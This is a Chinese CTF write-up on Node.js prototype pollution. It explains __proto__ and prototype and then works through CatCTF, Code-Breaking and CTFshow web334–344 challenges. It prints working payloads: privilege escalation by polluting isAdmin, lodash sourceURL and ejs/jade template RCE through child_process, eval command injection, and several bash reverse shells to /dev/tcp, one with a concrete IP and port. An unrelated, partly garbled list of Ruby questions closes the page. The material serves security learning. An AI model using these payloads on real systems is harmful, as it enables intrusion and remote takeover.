草庐IT

浅析CTF中的Node.js原型链污染

quan9i 2023-04-14 原文

前言

Node.js之前并未有太多了解,最近遇上了一些相关题目,发现原型链污染是其一个常考点,在学习后对其进行了简单总结,希望对正在学习的师傅有所帮助

Node.js

原型链污染

首先强推这篇文章https://developer.mozilla.org/,读完后就会对原型链有个大致的了解,对后面学习非常有帮助。所以说什么是原型链污染呢?

偏官方一点的解释如下

在JavaScript中,每个对象都有一个原型,它是一个指向另一个对象的引用。当我们访问一个对象的属性时,如果该对象没有这个属性,JavaScript引擎会在它的原型对象中查找这个属性。这个过程会一直持续,直到找到该属性或者到达原型链的末尾。攻击者可以利用这个特性,通过修改一个对象的原型链,来污染程序的行为。例如,攻击者可以在一个对象的原型链上设置一个恶意的属性或方法,当程序在后续的执行中访问该属性或方法时,就会执行攻击者的恶意代码。

简单的说呢,其实就是我们对原链中的某个属性进行了污染,向其中插入恶意代码,当我们再调用这个链(也就是使用这个对象)时,我们的恶意代码就会被触发,此时就达到了一个执行恶意代码的效果。说到原型链污染,那就肯定离不开__proto__和prototype,所以接下来我们需要了解一下这两个是什么东西。

__proto__和prototype

在JavaScript中,每个对象都有一个名为__proto__的内置属性,它指向该对象的原型。同时,每个函数也都有一个名为 prototype 的属性,它是一个对象,包含构造函数的原型对象应该具有的属性和方法。简单来说,__proto__ 属性是指向该对象的原型,而 prototype属性是用于创建该对象的构造函数的原型。

这么说有点抽象,因此这里举个例子来进行说明,首先我们打开谷歌浏览器,F12,切换到控制台,而后我们写入如下代码

function Person(name) {
this.name = name;
}

Person.prototype.greet = function() {
console.log(`Hello, my name is ${this.name}`);
};

const person1 = new Person('Alice');
person1.greet(); // 输出 "Hello, my name is Alice"

在例子中,我们创建了一个名为 Person的构造函数,并将prototype上的greet设置为一个打招呼的函数。当我们创建一个名为person1的实例时,它会继承Person.prototype对象上的greet方法。因此,当我们调用person1.greet()时,它会输出 "Hello, my name is Alice"。

从这里就可以看出,prototype是类Person的一个属性,所有用类Person进行实例化的对象,都会拥有prototype的全部内容。

我们实例化出来的person1对象,它是不能通过prototype访问原型的,但通过__proto__就可以实现访问Person原型,具体代码如下

console.log(person1.__proto__ === Person.prototype); // 输出 true

总结(摘自https://www.leavesongs.com)1、prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法2、一个对象的__proto__属性,指向这个对象所在的类的prototype属性

他们的关系图如下所示

具体过程

那么什么是原型链污染呢我们这里用一个简单例子来对其进行说明

var a = {number : 520}
var b = {number : 1314}
b.__proto__.number=520
var c= {}
c.number

对这里的情况需要进行简单说明,我们可以看到在我们进行b.__proto__.number=520 操作后,即使是内容为空的c,调用number属性仍存在且值为我们设定的520,这时就达到了一个原型链污染的目的。接下来再说一下可能部分师傅有疑问的点

一、为什么执行过b.__proto__.number=520 后,我们输出b的值,其值仍为1314

这是因为在JavaScript中存在这样一种继承机制:我们这里调用b.number时,它的具体调用过程是如下所示的

1、在b对象中寻找number属性
2、当在b对象中没有找到时,它会在b.__proto__中寻找number属性
3、如果仍未找到,此时会去b.__proto__.__proto__中寻找number属性

也就是说,它从自身开始寻找,然后一层一层向上递归寻找,直到找到或是递归到null为止,此机制被称为JavaScript继承链,我们这里的污染的属性是在b.__proto__中,而我们的b对象本身就有number,所以其值并未改变。

二、为什么新建的值为空的c对象,调用c.number竟然有值而且为我们设定的520

当明白上个问题时,这个问题也就迎刃而解了,我们这里的c对象虽然是空的,但JavaScript继承链的机制就会使它继续递归寻找,此时也就来到了c.__proto__中寻找number属性,我们刚刚进行了原型链污染,它的c.__proto__其实就是Object.protoype,而我们进行污染的b.__proto__也是Object.prototype,所以此时它调用的number就是我们刚刚污染的属性,所以这也就是为什么c .number=520

它常见于当存在函数(其功能是将一个数组的内容复制到另一个数组中)的情况下,示例如下

function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
// 如果target与source有相同的键名 则让target的键值为source的键值
merge(target[key], source[key])
} else {
target[key] = source[key] // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
}
}
}
let o1 = {}
let o2 = JSON.parse{a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

这里的话可以看到我们的o3内容为空,但调用b属性也是成功输出了2,说明我们刚刚的原型链污染成功了,这里也说一下可能部分师傅有疑问的点。

一、为什么要加JSON.parse,这个函数有什么作用,不加会怎么样?

这是因为,JSON解析的情况下,__proto__会被认为是一个真正的键名,而不代表原型,所以在遍历o2的时候会存在这个键。当不加的时候,他就会认为他是一个原型,此时情况如下

所以这也就是我们需要添加这个函数的原因

小拓展(js大小写特性)

对于toUpperCase()函数

字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S"

对于toLowerCase

字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

详情可见https://www.leavesongs.com/

实战

CatCTF 2022 wife

环境参考https://adworld.xctf.org.cn/challenges/list打开题目

发现是一个登录界面,给出了注册界面,点击注册界面,可以发现需要一个邀请码

如果没有邀请码的话,我们进去是这个样子

此时如果考虑到JS原型链污染的话,就变得简单了,应该是我们越权拿到管理员权限,从而获取flag,其注册界面源码如下所示(比赛时是黑盒,这里并未给出源码)

app.post('/register', (req, res) => {
let user = JSON.parse(req.body)
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
let newUser = Object.assign({}, baseUser, user)
users.push(newUser)
res.json({ msg: 'user created successfully', err: false })
})

我们这里注意到Object.assign方法,他类似之前示例说的clone函数,Object.assign这个方法是可以触发原型链污染的,所以我们这里污染__proto__.isAdmin为 true 就可以了。

{"__proto__":{"isAdmin":true}

此时便可越权拿到flag

Code-Breaking 2018 Thejs

源码参考https://code-breaking.com/puzzle/9/#promo-block搭建环境的话,先安装一下express框架

cnpm i express -S

而后再安装一下lodash模块即可

npm install lodash

而后通过node server.js即可开启题目环境

环境如下

接下来简单看一下代码

#server.js
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

res.render('index', {
language: data.language,
category: data.category
})
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

首先我们这里可以发现存在merge函数

if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

这里的含义也是比较简单,即将我们POST提交的信息,通过merge合并到session中,最终我们所有提交的信息都会被保存到session中去,那么存在这个merge函数的话,说明我们可以进行原型链污染,那么我们污染的参数该是什么呢,我们这个时候看这几行代码

fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

可以发现其对内容进行了lodash.template处理,我们跟进这个函数,具体代码可见https://github.com/lodash

可以发现这个sourceURL当没有值的时候就是一个空的状态,而当其有值时,就会取当前的这个值,我们看接下来他怎么处理

可以发现这里被放入了Function的第二个参数,此时我们就可以实现代码执行了。

所以我们污染的参数就是sourceURL,具体Payload如下所示

{"__proto__" : {"sourceURL" : "\r\n return e => {for (var a in {} ) {delete Object.prototype[a]; }return global.process.mainModule.constructor._load('child_process').execSync('dir')}\r\n//"}}

这里需要注意,我们的ConType-type需要修改为application/json,这样才能让__proto__成为键值而非原型,之所以可以直接这样修改是因为express框架支持根据Content-Type来解析请求Body。

同时,这里之所以不用require的原因如下

Function 环境下没有 require 函数,直接使用require('child_process') 会报错,所以我们要用 global.process.mainModule.constructor._load 来代替。

CTFshow系列

web334

给了一个附件(zip),打开的话是两个文件,具体内容如下

#user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
#login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);

if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}

});

module.exports = router;

这里看到user.js里给出了账密,接下来我们在看login.js,这里的话可以看到对账号进行了一个toUpperCase()函数处理,这个函数的作用是将小写字符全部改为大写字符,如下图所示

因此我们这里的话账号是CTFSHOW,我们只需要输入ctfshow,他就可以变成CTFSHOW辣

web335

方法一

进入后环境如下

没看到有什么有用信息,这个时候查看一下源代码看看有没有有用信息

发现提示了eval参数,这个时候我们就需要看一个东西了,即如何在Node.js执行命令

http://nodejs.cn/api/child_process.html在其中可以看到这个函数

这个只需要写入命令即可,因此我们对其进行简单尝试

eval=require('child_process').execSync('ls')

成功执行命令,接下来尝试获取flag

eval=require('child_process').execSync('cat f*')

方法二

还有另一个函数

这个spawnSync函数的话是需要两个参数,返回值是一个可选项,但当返回值不填时,默认返回的是Object,所以这里其实是三个参数,即命令,命令的参数,以及返回格式,比如我们这里想执行ls .,那我们这里就可以写成spawnSync('ls',['.']).output,接下来尝试在靶场中执行

eval=require('child_process').spawnSync('ls',['.']).output

成功执行,接下来查看flag

eval=require('child_process').spawnSync('tac',['fl00g.txt']).output

web336

和上关的环境相似,这里尝试上关的payload

方法一
eval=require('child_process').execSync('cat f*')

回显tql,一眼顶真,这是某些字符串被过滤掉了,这里的话感觉应该是execSync,我们这里可以采用拼接的方法来进行绕过,然后本来的话是.execSync,我们这里可以修改为['exe'+'Sync'],小知识[xxx]=.xxx,因此我们这里尝试一下这个方法

eval=require('child_process')['exe'%2B'cSync']('ls')
//+号进行了URL编码,这是因为不编码的话+会被解析为空格

同理,查看flag

方法二

用上面的第二个函数(spawnSync)可正常执行命令

eval=require('child_process').spawnSync('cat',['fl001g.txt']).output

web 337

题目给出了源代码,如下所示

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

重点在于

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);

md5的绕过,这里可以采用数组绕过的方式,构造如下语句即可

a[]=1&b=1

也可以采用这个payload

a[a]=1&b[b]=12

这是因为此时题目两个打印出来的是一致的,都是Object,所以

传传a[0]=1&b[0]=2不行是因为当我们这样传的时候相当于创了个变量a=[1] b=[2],此时的结果

web338

这里给出了源代码,其中的login.js文件内容如下

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

这个用到了utils里的copy函数,我们这里看一下utils中comman.js文件里的内容

module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

这个的话就是一个简单的赋值,看这里就能猜出考察点是Node.js的原型污染,这里我们如果key是__proto__,就可以实现一个属性污染,这里要求的条件secert.ctfshow==='36dboy',如果我们去设置一个"__proto__":"ctfshow:36dboy",它首先在secret中寻找,没找到ctfshow,就会往上继续找,此时就会找到Object,因为Object.prototype中有ctfshow,所以此时我们就满足了条件,成功绕过

web339

方法一
#login.js 部分代码
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}

单看这个login.js的话,我们这里不知道flag,肯定是无法满足secert.ctfshow===flag的与上题相似,但这里的api.js内容中有这样一串代码

router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});

如果我们可以自定义query的内容,就可以实现RCE,所以我们这里的话就用原型链污染来修改__proto__的值,具体payload如下

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

接下来去访问api接口,从而调用这个query

此时查看我们监听的7777端口,成功反弹shell

cat login.js|grep flag

方法二

这个题使用了ejs模板,对于ejs模板RCE我们这里的话可以看一下这两篇文章https://evi0s.com/https://xz.aliyun.com/t/7184#toc-7里面对其进行了具体分析,我比较菜,没大看懂,只知道最后的方法的话就是对一个名为outputFunctionName的成员进行赋值,其内容是我们的恶意代码,然后我们再次请求,就可以触发这个代码的执行,具体payload如下

"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP地址/监听端口 0>&1\"');var __tmp2"}

此时已成功写入恶意代码,接下来刷新一下界面即可成功反弹shell

web340

这里的话环境和上关类似,但login.js中的内容略有改动,具体如下

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}


});

改动点在于utils.copy(user.userinfo,req.body);,原本是user的,所以说也就是原型链多了一层,我们再套一层即可,本来的原型链应该是

user.__proto__->Object.__proto__

现在变成了

user.userinfo__proto->user.__proto__->Object.__proto__

因此我们这里在上一关的payload基础上多加一个__proto__即可,具体payload如下

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/IP地址/监听端口 0>&1\"')"}}}

而后POST发包访问/api接口

查看是否成功反弹shell

web341

这里缺少了api.js,这样的话就说明没法再去用之前的方法来做了,但考虑到这里的ejs模板,所以这里的话应该是用ejs来进行反弹shell的,尝试用此payload进行反弹shell,与之前payload相似,多套一层__proto__,具体payload如下

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"');var __tmp2"}
}}

而后刷新一下界面,以此来执行我们的恶意代码,接下来查看VPS是否成功反弹shell

这里的话flag没有在这里,需要我们自己找一下

find / |grep flag
cat /flag

Web342

jade的原型链污染,参考链接https://xz.aliyun.com/t/7025,由于node.js了解较少,所以这里参考其他师傅的payload进行尝试,等学会node.js再对具体代码进行分析,payload如下

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.222.255.142/7777 0>&1\"')"}}}

接下来刷新界面,查看监vps

成功反弹shell,接下来查看flag即可

Web343

说是增加了过滤,但仍沿用上一关payload,亦可打通

Web344

源码如下

router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

可以看到我们这里需要满足三个条件

1、query.name==='admin'
2、query.password==='ctfshow'
3、query.isVIP===true

我们这里平常的话如果没有过滤的话,直接这样写payload就可以

query={"name":"admin","password":"ctfshow","isVIP":true}

但这里存在过滤(req.url.match(/8c|2c|\,/ig)),%2c是,,所以我们这里不能再用逗号,我们这里可以使用&&来代替它,但此时发现还不行,这是因为:"ctfshow这里,这个"的编码是%22,而它和c连起来,此时就是%22c,此时就有2c了,所以不满足条件,因此我们这里需要对c进行一次URL编码,所以最终payload是

query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

参考文章

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascripthttps://xz.aliyun.com/t/7182#toc-7https://blog.csdn.net/miuzzx/article/details/111780832https://xz.aliyun.com/t/7184#toc-11

本文作者:quan9i, 转载请注明来自FreeBuf.COM

有关浅析CTF中的Node.js原型链污染的更多相关文章

  1. ruby - 如何从 ruby​​ 中的字符串运行任意对象方法? - 2

    总的来说,我对ruby​​还比较陌生,我正在为我正在创建的对象编写一些rspec测试用例。许多测试用例都非常基础,我只是想确保正确填充和返回值。我想知道是否有办法使用循环结构来执行此操作。不必为我要测试的每个方法都设置一个assertEquals。例如:describeitem,"TestingtheItem"doit"willhaveanullvaluetostart"doitem=Item.new#HereIcoulddotheitem.name.shouldbe_nil#thenIcoulddoitem.category.shouldbe_nilendend但我想要一些方法来使用

  2. ruby - 其他文件中的 Rake 任务 - 2

    我试图在一个项目中使用rake,如果我把所有东西都放到Rakefile中,它会很大并且很难读取/找到东西,所以我试着将每个命名空间放在lib/rake中它自己的文件中,我添加了这个到我的rake文件的顶部:Dir['#{File.dirname(__FILE__)}/lib/rake/*.rake'].map{|f|requiref}它加载文件没问题,但没有任务。我现在只有一个.rake文件作为测试,名为“servers.rake”,它看起来像这样:namespace:serverdotask:testdoputs"test"endend所以当我运行rakeserver:testid时

  3. ruby-on-rails - Ruby net/ldap 模块中的内存泄漏 - 2

    作为我的Rails应用程序的一部分,我编写了一个小导入程序,它从我们的LDAP系统中吸取数据并将其塞入一个用户表中。不幸的是,与LDAP相关的代码在遍历我们的32K用户时泄漏了大量内存,我一直无法弄清楚如何解决这个问题。这个问题似乎在某种程度上与LDAP库有关,因为当我删除对LDAP内容的调用时,内存使用情况会很好地稳定下来。此外,不断增加的对象是Net::BER::BerIdentifiedString和Net::BER::BerIdentifiedArray,它们都是LDAP库的一部分。当我运行导入时,内存使用量最终达到超过1GB的峰值。如果问题存在,我需要找到一些方法来更正我的代

  4. ruby-on-rails - Rails 3 中的多个路由文件 - 2

    Rails2.3可以选择随时使用RouteSet#add_configuration_file添加更多路由。是否可以在Rails3项目中做同样的事情? 最佳答案 在config/application.rb中:config.paths.config.routes在Rails3.2(也可能是Rails3.1)中,使用:config.paths["config/routes"] 关于ruby-on-rails-Rails3中的多个路由文件,我们在StackOverflow上找到一个类似的问题

  5. ruby-on-rails - Rails - 一个 View 中的多个模型 - 2

    我需要从一个View访问多个模型。以前,我的links_controller仅用于提供以不同方式排序的链接资源。现在我想包括一个部分(我假设)显示按分数排序的顶级用户(@users=User.all.sort_by(&:score))我知道我可以将此代码插入每个链接操作并从View访问它,但这似乎不是“ruby方式”,我将需要在不久的将来访问更多模型。这可能会变得很脏,是否有针对这种情况的任何技术?注意事项:我认为我的应用程序正朝着单一格式和动态页面内容的方向发展,本质上是一个典型的网络应用程序。我知道before_filter但考虑到我希望应用程序进入的方向,这似乎很麻烦。最终从任何

  6. ruby-on-rails - Rails 3.2.1 中 ActionMailer 中的未定义方法 'default_content_type=' - 2

    我在我的项目中添加了一个系统来重置用户密码并通过电子邮件将密码发送给他,以防他忘记密码。昨天它运行良好(当我实现它时)。当我今天尝试启动服务器时,出现以下错误。=>BootingWEBrick=>Rails3.2.1applicationstartingindevelopmentonhttp://0.0.0.0:3000=>Callwith-dtodetach=>Ctrl-CtoshutdownserverExiting/Users/vinayshenoy/.rvm/gems/ruby-1.9.3-p0/gems/actionmailer-3.2.1/lib/action_mailer

  7. ruby-on-rails - Rails 应用程序中的 Rails : How are you using application_controller. rb 是新手吗? - 2

    刚入门rails,开始慢慢理解。有人可以解释或给我一些关于在application_controller中编码的好处或时间和原因的想法吗?有哪些用例。您如何为Rails应用程序使用应用程序Controller?我不想在那里放太多代码,因为据我了解,每个请求都会调用此Controller。这是真的? 最佳答案 ApplicationController实际上是您应用程序中的每个其他Controller都将从中继承的类(尽管这不是强制性的)。我同意不要用太多代码弄乱它并保持干净整洁的态度,尽管在某些情况下ApplicationContr

  8. ruby-on-rails - form_for 中不在模型中的自定义字段 - 2

    我想向我的Controller传递一个参数,它是一个简单的复选框,但我不知道如何在模型的form_for中引入它,这是我的观点:{:id=>'go_finance'}do|f|%>Transferirde:para:Entrada:"input",:placeholder=>"Quantofoiganho?"%>Saída:"output",:placeholder=>"Quantofoigasto?"%>Nota:我想做一个额外的复选框,但我该怎么做,模型中没有一个对象,而是一个要检查的对象,以便在Controller中创建一个ifelse,如果没有检查,请帮助我,非常感谢,谢谢

  9. ruby - rspec 需要 .rspec 文件中的 spec_helper - 2

    我注意到像bundler这样的项目在每个specfile中执行requirespec_helper我还注意到rspec使用选项--require,它允许您在引导rspec时要求一个文件。您还可以将其添加到.rspec文件中,因此只要您运行不带参数的rspec就会添加它。使用上述方法有什么缺点可以解释为什么像bundler这样的项目选择在每个规范文件中都需要spec_helper吗? 最佳答案 我不在Bundler上工作,所以我不能直接谈论他们的做法。并非所有项目都checkin.rspec文件。原因是这个文件,通常按照当前的惯例,只

  10. ruby-on-rails - active_admin 目录中的常量警告重新声明 - 2

    我正在使用active_admin,我在Rails3应用程序的应用程序中有一个目录管理,其中包含模型和页面的声明。时不时地我也有一个类,当那个类有一个常量时,就像这样:classFooBAR="bar"end然后,我在每个必须在我的Rails应用程序中重新加载一些代码的请求中收到此警告:/Users/pupeno/helloworld/app/admin/billing.rb:12:warning:alreadyinitializedconstantBAR知道发生了什么以及如何避免这些警告吗? 最佳答案 在纯Ruby中:classA

随机推荐